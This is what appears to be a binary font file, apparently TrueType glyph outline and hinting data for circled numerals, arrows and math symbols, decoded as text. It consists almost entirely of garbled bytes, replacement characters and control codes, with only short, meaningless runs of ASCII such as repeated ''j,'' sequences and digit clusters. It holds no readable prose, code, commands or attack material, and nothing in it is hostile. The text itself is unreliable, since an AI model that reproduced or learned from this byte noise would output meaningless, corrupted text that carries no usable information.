6+Jo.^V|;-�˙it36?��̺�fQMe�EJS?(*$ s]vh2K)*NL13<VL*-*8A*�_xAg0,?)!:"9�JOCQ>^�v:Mc*�Z����e��C0�3N35%&-Kt\K%9S >BWN=!$?$8(F!5{^?�Z�	Q67654 547&'&+327#"'#536767&'&'&5432&5476323254'&5432�?-BO>=���v06&%K`dC+(�k$'eM?$#=Hb�B=)+8=.m�9ebPB��>$3g:84�!�EB7WPfG+1K�H�P<Ff#&T'0P+A'���<<Q�bF���/' "'&'&'&547676763"3/�����FDD@�����mh`�((((SNecr��GC����������FG/C>���������}DC���/'"05276767654'&'&#052�rceNS((((�`hm�����@DDF������/CD}�������>C/GF����������CG���!&547������������>�2�;����������
0!!6P����������<��:��������!	!���$�����	!	���"�����#�{!	!{�<�l��`��9��	!	9��`���l���U�?!	!?������w�`	!	w���������HZ�j��j��j�j�l��'7'7Z�j��j���j��3��j�f��$#"&=4&+5326=46;#"3��l�==�k���D�V[noZV������t�s��ݓ�X��������X���N$326=467.=4&+532;#"+�D�VZon[V�D��k�==�l��ԾX��������X����s�t��ݔ�����
�+��
+�
01! 4$32!5##7#��?���?�q��q��iڡ������A�?�r����\�/�+�������
*�%+�%�
+�
01! 4$32>54&#">32!5!>��?���?�q��q��>0ţ=�as�;N_/>!��R��L}���A�?�r����Fi:}�$�:&N?(U?"�M��t������
6��+A��]A)9IYiy������
]�1��.+�.�
+�
�!'+�!�+��9�*'!901! 4$32%4&#">32+32#"&'32654&'26��?���?�q��q�|��=�_ky4[\XZ��cksuD}[X�@��v
h��A�?�r���s�� ?<:<�NGLO0���]�r�����
�+��
+�
01! 4$32!	!3535##��?���?�q��q���
�C�������A�?�r�����~����ӍH�����
+��!+A�!�!]A!)!9!I!Y!i!y!�!�!�!�!�!�!
]�+��
++�
�+��($+�(�901! 4$32>32#"&'32654&#"75!5!��?���?�q��q��Ye2hvvhDw_X�@��ϰ?�����A�?�r����%aVUa/�����
�������
2�3/�4/�3�и/�4�ܸ�A��]A)9IYiy������
]���A&6FVfv������
]A��]� +� �
+�
�+��,&+�,�/&,901! 4$32#"&54632"32654&#"7>325.��?���?�q��q��\NN\\NN\q���º�N�	w/aTJj��A�?�r�����ZbbZ[bb*�������=P�#������
�+��
+�
01! 4$32%!35!��?���?�q��q�����l�U��A�?�r���v��]K�����
1=��+��+�� +�A��]A)9IYiy������
]A&6FVfv������
]A��]A� � ]A ) 9 I Y i y � � � � � � 
]�/9�;9�;/A�;�;]A;);9;I;Y;i;y;�;�;�;�;�;�;
]�5��+��
)+�
�+��28+�201! 4$32#"&5463232654&'>54&#"2#"&546��?���?�q��q��_TT__TT_�⾭��vi����jvkKRRKMQQ��A�?�r����lHQPIIPPI����\�vSt��tSv��B>=BB=>B�����
&2�3/�4/�ܸ�A��]A)9IYiy������
]�3�'и'/�-�A-&-6-F-V-f-v-�-�-�-�-�-�-
]A�-�-]�+��
+�
� +��*0+�*�# 901! 4$32254&#"326#"&'4632#"&��?���?�q��q���鿹�º�O�
w.aUJk<\NN[[NN\��A�?�r����K
�����<
O�$��[bb[[bb�����
$0Ӻ%+�%�+��++�A��]A)9IYiy������
]A�+�+]A+)+9+I+Y+i+y+�+�+�+�+�+�+
]�+��
.+�
��(�01! 4$32!5##7##"&5463232654&#"��?���?�q��q�$Ÿu����F?@EE@?F�p����������A�?�r�������*�'��$���������������	���=$>  767654'&'!5%3!!  '&'&54767�̆�mommom��4��mommom�������P�\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6�}�9�:�݈�@>}~�Ա���~}>@@>}~,��,~}>	���=6P  767654'&'!!567>54&#"5>32  '&'&54767�̆�mommom��4��mommom��)4�
\=)N=�kP�`a�F��7I׺\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6����_A.Xx;_x55�'(��I�Z�V@>}~�Ա���~}>@@>}~,��,~}>	���=B\  767654'&'#"&'532654&+532654&#"5>32  '&'&54767�̆�mommom��4��mommom�tt���L�UD�W������x~�zB�\R�G��r�=\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6�y�t���'(xrjw�_Z\b���d�	@>}~�Ա���~}>@@>}~,��,~}>	���='A  767654'&'!33##!5  '&'&54767�̆�mommom��4��mommom��h�*˪����+\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6��������@>}~�Ա���~}>@@>}~,��,~}>	���=7Q  767654'&'!!>32#"&'532654&#"  '&'&54767�̆�mommom��4��mommom���z�#G#����K�SL�V����A�C�\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6c���ۻ���)%�}|�X@>}~�Ա���~}>@@>}~,��,~}>	���=%>X  767654'&'"32654&.#">32#"32  '&'&54767�̆�mommom��4��mommom���l��lm�=|<��/�V��ڵ��
�=|�^\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6��������������EKۼ��>-O@>}~�Ա���~}>@@>}~,��,~}>	���= :  767654'&'!#!  '&'&54767�̆�mommom��4��mommom��\�N�����\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6`E��#�@>}~�Ա���~}>@@>}~,��,~}>	���=#9E_  767654'&'"2654&%.546  &54632654&#"  '&'&54767�̆�mommom��4��mommom���s��慄��ht�d�thu��tԄ9tihvvhit0\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6�,{�{|kl{E�g����g��s����s�\hh\]hh�@>}~�Ա���~}>@@>}~,��,~}>	���=2>X  767654'&'53267#"&54632#"&2654&#"  '&'&54767�̆�mommom��4��mommom���=|<��.�V��ڴ����=}�mml��J\��|~{{~|������|~{{~|��96oo������oo6996oo	��	oo6����DJټ��������������@>}~�Ա���~}>@@>}~,��,~}>	���=+8Ca  76767654'&'&'"32654'.  735733!  '&'&'&5476767�̆�mo5885om��4��mo5885om�T,+VUVV++�2QPPQ�ΠP�3������p\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�{z������~{�����ӟ�>-,��g�%�&�݈�@>}~������~}>@@>}~������~}>	���=
$!5!#%  '&'&54767������{\��|~{{~|������|~{{~|���#:�9�q @>}~�Ա���~}>@@>}~,��,~}>	���=6>7>54&#">32!5  '&'&54767���I7ݺF�a`�Lk�=N)��\���\��|~{{~|������|~{{~|� ��Z�I��('�55x_;xX.��_��@>}~�Ա���~}>@@>}~,��,~}>	���=(B>54&#">32+32#"&'32654&  '&'&54767ir׸G�\\�Bz�~x������W�DU�L��2\��|~{{~|������|~{{~|��d���b\Z_�wjrx('�°t�=@>}~�Ա���~}>@@>}~,��,~}>	���=
'!	!335#$  '&'&54767��hn�����o\��|~{{~|������|~{{~|����������@>}~�Ա���~}>@@>}~,��,~}>	���=7>32#"&'32654&#"!5  '&'&54767C�A����V�HS�K����#G#�\��|~{{~|������|~{{~|�=���|}�''����%�@>}~�Ա���~}>@@>}~,��,~}>	���=$>2#"&546.#"32654&#">32  '&'&54767Pmml���C|=���ϵ�ѴV�/��<|=�\��|~{{~|������|~{{~|�+���������������޸��KE���@>}~�Ա���~}>@@>}~,��,~}>	���= !35$  '&'&54767�>�h����\��|~{{~|������|~{{~|�@���fE�@>}~�Ա���~}>@@>}~,��,~}>	���=	+E2"&46' 654&'>54& 74632#"&  '&'&54767Yt��愄/t���ԃuht���t-tihvvhit0\��|~{{~|������|~{{~|��{lk|{�{E�s����s��g����g��]hh]\hh�@>}~�Ա���~}>@@>}~,��,~}>	���=$>%32#"3267#"&'"&54632  '&'&54767!C}=��д�ѳV�.��<|=Al��lm��\��|~{{~|������|~{{~|��Q/=޸��JD��g���������@>}~�Ա���~}>@@>}~,��,~}>	���= :2#"&546$  !5##7  '&'&54767�eddeddd����B���¡����\��|~{{~|������|~{{~|���������������>-/���#&�%�q @>}~�Ա���~}>@@>}~,��,~}>u�Pj	!!5!!P���p��#��@��p�p�pt�	7%�����F�N����4�NGu�P85	z��D��<2�2p�J�J�t�	'-Z�K�����F����G�NuP�!!u��\l������E�>�~~�>uu�+"&'.546?!".4>3!'.5467>2�p4,���,$$,��,4��2.�p
,.�".2."�.,
�pu�P8!5!	���%��JZP��J�Ju�P8!5!	���%��J�H�J�Ju�P8#3#3#3!!5	���xx�<<�o���J���p��p��p��J�Ju�P855!#3#3#3������oP��xx�<<���΄��ΊX��X��X��Xu�}~	!!�����~�����PD!	6����>l������>�>��PD	!	��D�R�>l������>�>�P	B��l�����v�vu�Pb3!5	5! '&'.u$##+*Z��J�M�M*+##$��0U%!�J�J�!%Uu�P84676763!5	5! u$##+*Z��J�M�M*+##$�0U%!�J�J�!%U0���!!	^��r{��VXe�o�ou�P855!���D��q���΄��Ξ0u�j%5!!53		!<�9�����h�9�����>����u�j%5!!53		!<�9����h�9�����>����+Z�!73#57!!+ I�d�&��+ъ����������2�&����+Z�5!'53#'!!!+����d�������I���|��&�2���������2�
!'!'!53	!�O��dcn�d����h��������������2�
3#5!7!!!	�n�d�n��d;��c��h����������dd�!53#'5!'!	!�]n�2�n2��2�r-��h���J��d�c;dJ�����dd�7!573#5!!	!�2+2n�2�n���r-��h��LJd;c�d��J�����<����6767632"'&'&'!	<'CZmo~yti^Z\X^Vqo�ti^?)X�6nGCZ.//+]Y݀z�_X0//+]>I��ʞ	�BP�"&*.37#37#37#37#5!!!!3'#3'#3'#3'#�<���<���<���<�x�����í�y���_<�<(<�<(<�<(<�<Z��������P��������h��������pt>7&#"7'7	!%��*��BF��8����WU�{�FC��*��9o�X�:�W��ubP�55!5!!'!���������X����X����dd��PR������t�'327''	!!i�FB��*��8����X:�����*��CF��9����XU��pt>*%&#">7'&'&">327&5467>7t��BEH���#&NK�X$W/,0$"� D5Hp*G6���$"!0,0Y"�W!F&'&#���GGC�uaP�'467#"!4676?'&'.5!3!.5P��5��#$��%"//"%X$#
�5��e�e�J(0Y!	"X0(J�e����t�*.'.54?'#"&'2767.'32t)H5���X"$	#0,0X"�KN&#E�HEB����CGG���&'&K�W"Y0,0$"�E6Gs�PX'<6%"'&'.54676$4676762"'&'&&'.54676762$/�+�z>�_ $#R#af����#R#)�>x��bQu��88�RK�68�#88 ��vc�<�*676767632#"'&'&'&%.5467.546�A ''+/54<3���o�8n23'9%%%%b��b%%%�&:?$ fLLf#&#/:&'X23X'�rr�'X32X�V2�c"'&'.54?654&'&'&#!"#!".4?64/&4676763!23!2767>54/&546767622�	��Z��;:td	Z	���	c�
uu�
�c	���2c"'&'.54?654&'&'&+"#!".4?64'&4676763!2;2767>54/&546767622�pW\x�jIJ��	�\W����	��
��8
���	��u�P^'#76767&'&/3#>7!5!!5!.'P�S�Jl..�&GG&�GlH�S��i7*���nK

Kn�**7�OU��nm�'66'�1���U��=�Hd���)��dH�=n���&*'$&'&#"'67667�	h7�Hm^:-�3���RE��SR��QO�1�̡�L��HO���&57$'&54&#""OER����3�-:^m�H7h���H܏����1�OQ����S�#�u		!	!����
���j�.u���-1������03%!#3!��������Zdd��d���/#3!53#5���d����������dZd���{3	#��������p�p���h	#	3h������p��������&HHT������&IIT[[�	'#'#'##'��x\x�xjjx�x\x��,x\�e���hh�P8���\x�Y��Y�73373737+�.x\x�xjjx�x\x�.�x\��8�Phh����e�\x�,Ol�D=072767>54'&'&'&"7#7676767632#"'&ew@RN�JV<BB!#@@RN�JV<B!�x�xZ�vx�$0YTtg��lqWZ/../ZSug��lj!x?#!!';B�]YQS@?#!!';BQ9?�x�v�x�`XqYS4..0WYqp{pqYS4..-O|�T<#"'&'&'&54767676327#7&'&'&'&"2767n^jl��gtTY0..0YXpl��gtTY0$�x�vZ�xx�!B<VJ�NR@@#!BB<VJ�NR@1Z-..4SYqp{pqYW0..4SYqX`�x�v�x�?9QB;'!!#?@SQY]�B;'!!#?u���$%9M'7! &'&'&'#536767> !'7$"!3!&'&'&'!#!2767676�wx�!1cb���bc1!��
"1cb��bc1"
`�x���]\LM&	���	&ML\;�R��R
&ML\]�]\LM&�Z�wx�ZQvcbddbcvQZ�[RwcbddbcwR[�xV''LM\7=e��=7\ML'���e;6\ML''''LM\6d�8	��	
���2@	@@	00	]1@
	�
��99��0@		�	�<<@��<<�KSX�	<<��		���Y5!!d�x�	��y�xUZ�x��xu�8	��	
���2@	OO	__	]1@
	�
��99��0@		�	�<<@��<<�KSX�	<<��		���Y'7!5!'7�wx�y	��x�Z�wx��xd�8ڶ
	��2��2@
PP_
_O
O]1@
	
�
��9�2�20@

��<<@��<<@

	�		
�<<@��<<�KSX�
<<<<������

	���Y5!'7'7!d�x���x��wx��xUZ�x��x�wZ�wx��xd�8!!5!!�	s�]x�w�x]���ix]x�Z�x]xiu�87'!5!'7'7!5	�ii���]x��wx]�iix]x�wZ�wx]xd�8!7'!!5!'7'�Xii��iI��]x�w�x]h]x��wxiii�]x�Z�x]]x�wZ�wxd�8
!5!3#
Y�#�x�w�x�ݪ�-�x�Z�x�Y��u�8
#3!'7'7����x��wx�-��\���x�wZ�wx�d�8
!5!53#5!
Y��]x�w�x]Q���7ii�]x�Z�x]��E�iiu�8
!'7'7!#3!7'Q]x��wx]�����iic]x�wZ�wx]�\���iiu�8%77777773'7'7#'''''''uF������������F��x��wx�cn������������F�F������������F�x�wZ�wx�n������������F��,X@j,��,�X	j,���,�X@'j,j,���,�X�j,���,�X@'j,j,���,�X	'j,�j,���,�X@'j,'j,�j,�����@j���,�@'j,j���,��@'j,�j���,��@'j,'j,�j���,��@'j,�j���,��@'j,'j,�j���,��@'j,�'j,�j���,��@'j,'j,�'j,�j������	j����,��@'j,j����,��	'j,�j����,��@'j,'j,�j����,��	'j,�j����,��@'j,'j,�j����,��	'j,�'j,�j����,��@'j,'j,�'j,�j�������@'j�j����,��@'j,'j�j����,��@'j,�'j�j����,��@'j,'j,�'j�j����,��@'j,�'j�j����,��@'j,'j,�'j�j����,��@'j,�'j,�'j�j����,��@'j,'j,�'j,�'j�j��������j����,��@'j,j����,��	'j,�j����,��@'j,'j,�j����,���'j,�j����,��@'j,'j,�j����,��	'j,�'j,�j����,��@'j,'j,�'j,�j�������@'j�j����,��@'j,'j�j����,��@'j,�'j�j����,��@'j,'j,�'j�j����,��@'j,�'j�j����,��@'j,'j,�'j�j����,��@'j,�'j,�'j�j����,��@'j,'j,�'j,�'j�j�������	'j��j����,��@'j,'j��j����,��	'j,�'j��j����,��@'j,'j,�'j��j����,��	'j,�'j��j����,��@'j,'j,�'j��j����,��	'j,�'j,�'j��j����,��@'j,'j,�'j,�'j��j�������@'j�'j��j����,��@'j,'j�'j��j����,��@'j,�'j�'j��j����,��@'j,'j,�'j�'j��j����,��@'j,�'j�'j��j����,��@'j,'j,�'j�'j��j����,��@'j,�'j,�'j�'j��j����,��@'j,'j,�'j,�'j�'j��j����,�pX��j,�p��,�pX@'j,j,�p��,�pX	'j,�j,�p��,�pX@'j,'j,�j,�p��,�pX�'j,�j,�p��,�pX@'j,'j,�j,�p��,�pX	'j,�'j,�j,�p��,�pX@'j,'j,�'j,�j,�p��,�p�@'j�j,�p��,�p�@'j,'j�j,�p��,�p�@'j,�'j�j,�p��,�p�@'j,'j,�'j�j,�p��,�p�@'j,�'j�j,�p��,�p�@'j,'j,�'j�j,�p��,�p�@'j,�'j,�'j�j,�p��,�p�@'j,'j,�'j,�'j�j,�p��,�p�	'j��j,�p��,�p�@'j,'j��j,�p��,�p�	'j,�'j��j,�p��,�p�@'j,'j,�'j��j,�p��,�p�	'j,�'j��j,�p��,�p�@'j,'j,�'j��j,�p��,�p�	'j,�'j,�'j��j,�p��,�p�@'j,'j,�'j,�'j��j,�p��,�p�@'j�'j��j,�p��,�p�@'j,'j�'j��j,�p��,�p�@'j,�'j�'j��j,�p��,�p�@'j,'j,�'j�'j��j,�p��,�p�@'j,�'j�'j��j,�p��,�p�@'j,'j,�'j�'j��j,�p��,�p�@'j,�'j,�'j�'j��j,�p��,�p�@'j,'j,�'j,�'j�'j��j,�p��,�p��'j��j,�p��,�p�@'j,'j��j,�p��,�p�	'j,�'j��j,�p��,�p�@'j,'j,�'j��j,�p��,�p��'j,�'j��j,�p��,�p�@'j,'j,�'j��j,�p��,�p�	'j,�'j,�'j��j,�p��,�p�@'j,'j,�'j,�'j��j,�p��,�p�@'j�'j��j,�p��,�p�@'j,'j�'j��j,�p��,�p�@'j,�'j�'j��j,�p��,�p�@'j,'j,�'j�'j��j,�p��,�p�@'j,�'j�'j��j,�p��,�p�@'j,'j,�'j�'j��j,�p��,�p�@'j,�'j,�'j�'j��j,�p��,�p�@'j,'j,�'j,�'j�'j��j,�p��,�p�	'j��'j��j,�p��,�p�@'j,'j��'j��j,�p��,�p�	'j,�'j��'j��j,�p��,�p�@'j,'j,�'j��'j��j,�p��,�p�	'j,�'j��'j��j,�p��,�p�@'j,'j,�'j��'j��j,�p��,�p�	'j,�'j,�'j��'j��j,�p��,�p�@'j,'j,�'j,�'j��'j��j,�p��,�p�@'j�'j��'j��j,�p��,�p�@'j,'j�'j��'j��j,�p��,�p�@'j,�'j�'j��'j��j,�p��,�p�@'j,'j,�'j�'j��'j��j,�p��,�p�@'j,�'j�'j��'j��j,�p��,�p�@'j,'j,�'j�'j��'j��j,�p��,�p�@'j,�'j,�'j�'j��'j��j,�p��,�p�@'j,'j,�'j,�'j�'j��'j��j,�p����p���j��p��,�p�@'j,j��p��,�p�	'j,�j��p��,�p�@'j,'j,�j��p��,�p��'j,�j��p��,�p�@'j,'j,�j��p��,�p�	'j,�'j,�j��p��,�p�@'j,'j,�'j,�j��p����p�@'j�j��p��,�p�@'j,'j�j��p��,�p�@'j,�'j�j��p��,�p�@'j,'j,�'j�j��p��,�p�@'j,�'j�j��p��,�p�@'j,'j,�'j�j��p��,�p�@'j,�'j,�'j�j��p��,�p�@'j,'j,�'j,�'j�j��p����p�	'j��j��p��,�p�@'j,'j��j��p��,�p�	'j,�'j��j��p��,�p�@'j,'j,�'j��j��p��,�p�	'j,�'j��j��p��,�p�@'j,'j,�'j��j��p��,�p�	'j,�'j,�'j��j��p��,�p�@'j,'j,�'j,�'j��j��p����p�@'j�'j��j��p��,�p�@'j,'j�'j��j��p��,�p�@'j,�'j�'j��j��p��,�p�@'j,'j,�'j�'j��j��p��,�p�@'j,�'j�'j��j��p��,�p�@'j,'j,�'j�'j��j��p��,�p�@'j,�'j,�'j�'j��j��p��,�p�@'j,'j,�'j,�'j�'j��j��p����p��'j��j��p��,�p�@'j,'j��j��p��,�p�	'j,�'j��j��p��,�p�@'j,'j,�'j��j��p��,�p��'j,�'j��j��p��,�p�@'j,'j,�'j��j��p��,�p�	'j,�'j,�'j��j��p��,�p�@'j,'j,�'j,�'j��j��p����p�@'j�'j��j��p��,�p�@'j,'j�'j��j��p��,�p�@'j,�'j�'j��j��p��,�p�@'j,'j,�'j�'j��j��p��,�p�@'j,�'j�'j��j��p��,�p�@'j,'j,�'j�'j��j��p��,�p�@'j,�'j,�'j�'j��j��p��,�p�@'j,'j,�'j,�'j�'j��j��p����p�	'j��'j��j��p��,�p�@'j,'j��'j��j��p��,�p�	'j,�'j��'j��j��p��,�p�@'j,'j,�'j��'j��j��p��,�p�	'j,�'j��'j��j��p��,�p�@'j,'j,�'j��'j��j��p��,�p�	'j,�'j,�'j��'j��j��p��,�p�@'j,'j,�'j,�'j��'j��j��p����p�@'j�'j��'j��j��p��,�p�@'j,'j�'j��'j��j��p��,�p�@'j,�'j�'j��'j��j��p��,�p�@'j,'j,�'j�'j��'j��j��p��,�p�@'j,�'j�'j��'j��j��p��,�p�@'j,'j,�'j�'j��'j��j��p��,�p�@'j,�'j,�'j�'j��'j��j��p��,�p�@'j,'j,�'j,�'j�'j��'j��j��p��,�p���'j,�pj��p��,�p�@'j,'j,�pj��p��,�p�	'j,�'j,�pj��p��,�p�@'j,'j,�'j,�pj��p��,�p��'j,�'j,�pj��p��,�p�@'j,'j,�'j,�pj��p��,�p�	'j,�'j,�'j,�pj��p��,�p�@'j,'j,�'j,�'j,�pj��p��,�p�@'j�'j,�pj��p��,�p�@'j,'j�'j,�pj��p��,�p�@'j,�'j�'j,�pj��p��,�p�@'j,'j,�'j�'j,�pj��p��,�p�@'j,�'j�'j,�pj��p��,�p�@'j,'j,�'j�'j,�pj��p��,�p�@'j,�'j,�'j�'j,�pj��p��,�p�@'j,'j,�'j,�'j�'j,�pj��p��,�p�	'j��'j,�pj��p��,�p�@'j,'j��'j,�pj��p��,�p�	'j,�'j��'j,�pj��p��,�p�@'j,'j,�'j��'j,�pj��p��,�p�	'j,�'j��'j,�pj��p��,�p�@'j,'j,�'j��'j,�pj��p��,�p�	'j,�'j,�'j��'j,�pj��p��,�p�@'j,'j,�'j,�'j��'j,�pj��p��,�p�@'j�'j��'j,�pj��p��,�p�@'j,'j�'j��'j,�pj��p��,�p�@'j,�'j�'j��'j,�pj��p��,�p�@'j,'j,�'j�'j��'j,�pj��p��,�p�@'j,�'j�'j��'j,�pj��p��,�p�@'j,'j,�'j�'j��'j,�pj��p��,�p�@'j,�'j,�'j�'j��'j,�pj��p��,�p�@'j,'j,�'j,�'j�'j��'j,�pj��p��,�p��'j��'j,�pj��p��,�p�@'j,'j��'j,�pj��p��,�p�	'j,�'j��'j,�pj��p��,�p�@'j,'j,�'j��'j,�pj��p��,�p��'j,�'j��'j,�pj��p��,�p�@'j,'j,�'j��'j,�pj��p��,�p�	'j,�'j,�'j��'j,�pj��p��,�p�@'j,'j,�'j,�'j��'j,�pj��p��,�p�@'j�'j��'j,�pj��p��,�p�@'j,'j�'j��'j,�pj��p��,�p�@'j,�'j�'j��'j,�pj��p��,�p�@'j,'j,�'j�'j��'j,�pj��p��,�p�@'j,�'j�'j��'j,�pj��p��,�p�@'j,'j,�'j�'j��'j,�pj��p��,�p�@'j,�'j,�'j�'j��'j,�pj��p��,�p�@'j,'j,�'j,�'j�'j��'j,�pj��p��,�p�	'j��'j��'j,�pj��p��,�p�@'j,'j��'j��'j,�pj��p��,�p�	'j,�'j��'j��'j,�pj��p��,�p�@'j,'j,�'j��'j��'j,�pj��p��,�p�	'j,�'j��'j��'j,�pj��p��,�p�@'j,'j,�'j��'j��'j,�pj��p��,�p�	'j,�'j,�'j��'j��'j,�pj��p��,�p�@'j,'j,�'j,�'j��'j��'j,�pj��p��,�p�@'j�'j��'j��'j,�pj��p��,�p�@'j,'j�'j��'j��'j,�pj��p��,�p�@'j,�'j�'j��'j��'j,�pj��p��,�p�@'j,'j,�'j�'j��'j��'j,�pj��p��,�p�@'j,�'j�'j��'j��'j,�pj��p��,�p�@'j,'j,�'j�'j��'j��'j,�pj��p��,�p�@'j,�'j,�'j�'j��'j��'j,�pj��p��,�p�@'j,'j,�'j,�'j�'j��'j��'j,�pj��pd�?8
!5!53#5!��s]x�w�x]�����ii�]x�Z�x]��E�iiu�P8
!'7'7!#3!7'�]x��wx]�s��iic]x�wZ�wx]�\���ii��	3'#'##-Z-x\x�x�x\�.��x\�n
�#����\����733737#x\x�x�x\x��Z'x\�����#�
�n\x��O�'�=%"'&'&'&767670327676764'&'&'&�pk_V1..1Vbr�x�`Xk_V1..1V_kpI�x��XE?#!!';B�]YQS@?#!!';BQ9�.-\ZnllnZ_.�x�$-\Znl�lnZ\-.)�xF!F@RN�JV<BB!#@@RN�JV<B!O�'�<%"'&'&'&7676767'732676764'&'&''�{pk_V1..1V_kX`�x�rbV1..1V_kp�?9QB;'!!#?@SQY]�B;'!!#?EX��x�.-\ZnllnZ\-$�x�w._Znl�lnZ\-.)!B<VJ�NR@@#!BB<VJ�NR@F!��x���.\@. 
'$%+ /ܲ ]K�TX� @8Y<�999�2ܴ]��299991@'�%�%	�/��2���2�90&547#";!"&=4&+5326=463�K�20�I��C5�UU�5����l�>>�l���mG�СBk���>D�dW��0�Xd���t�s��ݓ���.W@#. 
-&.%)/�K�
TX�)��8Y�299�ܴ]<�<�999991@�
&$�-�/��2���2�907&54&'>5!2;#"#!532654&+C��I�02�K����l�>>�l����5�UU�5D>�kB��0�Gm����s�t��ݔdX�ЎW�2��	
	5	1������V����d�����22��h���'�
%#3	5'���
�����:������'�
73	٪L^����8bb�:����'B	7�''�ٛ�>���P��Nq�����'B	'�''�ٛ�>���P��Nq^�D��'B	�''��>���P��N��'B%		'���''�t��N�����P���'B5		5�''����b�N��P�����#�u	���u���-��3!3!!#!#!5�L�3�ͨ������-��-�Ӫ��-��-���333333#######5�������Ϩ������-��-��-�Ӫ��-��-��-�:�k��7!!  767654'&'$  $'&'&547676h0��8����rtrrtr��@��rtrrtr��
�V��GFFG�����r����GFFG����;:rs�죟��sr:;;:rs��sr:����Ŭ����������ɪ���:�k��3?  767654'&'$  $'&'&547676!!#!5!�����rtrrtr��@��rtrrtr��
�V��GFFG�����r����GFFG����s��s�B;:rs�죟��sr:;;:rs��sr:����Ŭ����������ɪ���K�s��s���:�k��3?  767654'&'$  $'&'&547676			'	�����rtrrtr��@��rtrrtr��
�V��GFFG�����r����GFFG��]��x�3�w�3�2x�3B;:rs�죟��sr:;;:rs��sr:����Ŭ����������ɪ����3�x�2�3w�3x���u�M
%'�o&�'�%�Ju�M�327!5!>2&#"!!"&'	;E ������<E��!����������z����
��M��z�u�M�%327!5!7!5!>2&#"!!!!"&'	;E����$����;E����������Ϊ�@��z����٨���z�u�M�&#"%"&'73275%>2";EC������;E��J�������綠��m��z���������z�u�M�*3&#"&'67"&'7327&'&54767>2";E�Iq(P >6D����;E]InoSu����=,HK%�����)�AH!�+p$	����z���1Io��sV<��z��E�.JghH$u�M-2&#"676='73'"&'7327&'&53>2";E+@/V]H�6�H\nUm����;D	[>wfP3,,��I6����x/Ur]H��H]�lV����z���M>w�rN3���F4�u�M�!3#!!>2&#"!!"&'732���w����~�9F	9��
��}�9G����r0���}����������}��u�M�+3#>2&#""&'73273264&���c)��~�9GcBnnVs��~�9F	(6o����~ç�|�����K|��oU����}������u�Mp.3#327264&#">2&#"632#"'"&'���z;E-8pƖ�q�S����;E;D��ܛWI���������3>6�я�]��z��������!����z�u�M�13#64&"327&'&767>2&#""&'���˔�֐��;E]InoSu����;EcBnnVs�����z�я�ϐ�-��1Io7sV<��z�����K|��oU����z�u�M�!%7!>2&#"!!"&'73273!#3�;��~�9G�����9G
���ū���I��}������ޭ{���	t�����Mm-&#"!2#567&'!"&'7327!5!>2";Ed��_``��!����;D	 �ܻ`��;`�*��I6�����ƌ�eb�I��z�����`:H:`�*��F4�u�M�#&#"7'"&'7327'7'7>2";E�x��x�����;E�z��x��������X�y��x���z����y��x�إ�z�u�M�*327#467>2&#"#4'"&'	;E-A 4y�y����;E
Z>Vy|-�������2P���Iϼ+��z�����Ea��8�2�J��z�u�M�'&#"63"&'7327&'&53>2";E*�y������;E\?Vy~+��������&8����'����z���LFa�I��1���z�u�M��>32&#"#"&'7327!5��KL~�9GA�LK~�9G��⧅}�������}���g��k�b�>32&#"#"&'73275!��KL~�9GA�LK~�9G��⧅}�������}����Р���?��������j&�
P$�����j&�'
P�W
P@$���
5	5������F�Ѷe�����Ѧ����
55�����FѶ�/�/��/�m�����'
P/��������&
P�������''
P������''
P������'
P/������
'
P�������N:A%#"'&'&'&#"5>32326#"'&'&'&#"5>32326	5�j�bn�
�^X�bh�`n�
�^V�hj�bn�
�^X�bh�`n�
�^V�g�@���P�NE;=LT�NE;=K��PD:<LR�ND:<J^���p�o���N:A%#"'&'&'&#"5>32326#"'&'&'&#"5>3232655�j�bn�
�^X�bh�`n�
�^V�hj�bn�
�^X�bh�`n�
�^V��e���P�NE;=LT�NE;=K��PD:<LR�ND:<J^����������!!'7!5!	5��Z��Z�
N��@����P���P��N���p�o���!!'7!5!55��Z��Z�
N������P���P��N��������_�N6=#"'3267#"/'7&#"5>327&#"56767326	5�j�bDS4�WV�hj�bm�\�Y@/X�bh�`ES3�VX�bhZmM�p[�Y@1V�g�@�����PD�4KU�NE;�@�LT�NE�4LR�N"*,�@�J^���p�o�_�N5<#"'3267#"/'7&#"5>327&#"5>32732655�j�bDS4�WV�hj�bm�\�Y@/X�bh�`ES3�VX�bh�`n�[�Y@1V��e�����PD�4KU�NE;�@�LT�NE�4LR�ND:�@�J^����������T
5!5!-5	!5!����u����u��������/�0��\��^�Ҳ�Ъ��~����T
-55!55!�u���������s��Ҳ�Ъ��᪪��/�0�������N%#"/&'&#"5>32326!!	5�j�an��^X�bh�`n��^V��f���@�����PD:<KS�ND:
<J�l�����p�o��N%#"/&'&#"5>32326!!55�j�an��^X�bh�`n��^V��f�������PD:<KS�ND:
<J�l�����������!(#"/&'&#"5>323265-5�i�an��^X�bi�an��^V�g�����su������OE;=LS�NE;	=KJ�/�0��:�Ҳ�Ъ����!(#"/&'&#"5>32326-5	5�i�an��^X�bi�an��^V��eu����������OE;=LS�NE;	=KJ�Ҳ�Ъ����/�0���,��
-55!55!�u���������s%�Ҳ�Ъ��᪪(�/�0��٪��,��
5!5!-5	!5!����u����u������%�/�0��\�~�Ҳ�Ъ��^��6��
5	5	-55����u����u������/�0��V/�����Ҳ�Ъ��а/��6��
-555	5�u��������u����Ҳ�Ъ��۰/��'�/�0��K/������&
	55������p�/���ѦѶ�����&
5	5�������p��/���om��/��/�����&'
P/��������&'
P��������{
5!5	5!����@��Ѫ����o�p���9�����{
!5!	5	!5!������@����Ѫ��������������555������@��p��N�p����o�p�������	55	5��������@���p����p����U��������(".#"#"&'5327>76325�h�V^�
�n`�hb�X^�
�nb�j���@�TL><FN�TL><FN�E�o�p����0�(".#"#"&'5327>7632	5�h�V^�
�n`�hb�X^�
�nb�j����?���TL><FN�TL><FN�d����������$+5!5!.#"#"&'532767676325���h�V^�
�n`�hb�X^�
�nb�j���@>���֪��VJ<:DN�TL<:DN�D�o�p�������$+5!5!.#"#"&'53276767632	5���h�V^�
�n`�hb�X^�
�nb�j����@��>���֪��VJ<:DN�TL<:DN�D�������f�� $!!!5!676762!!&'&'&!!����C.8�d
6WY�YV7
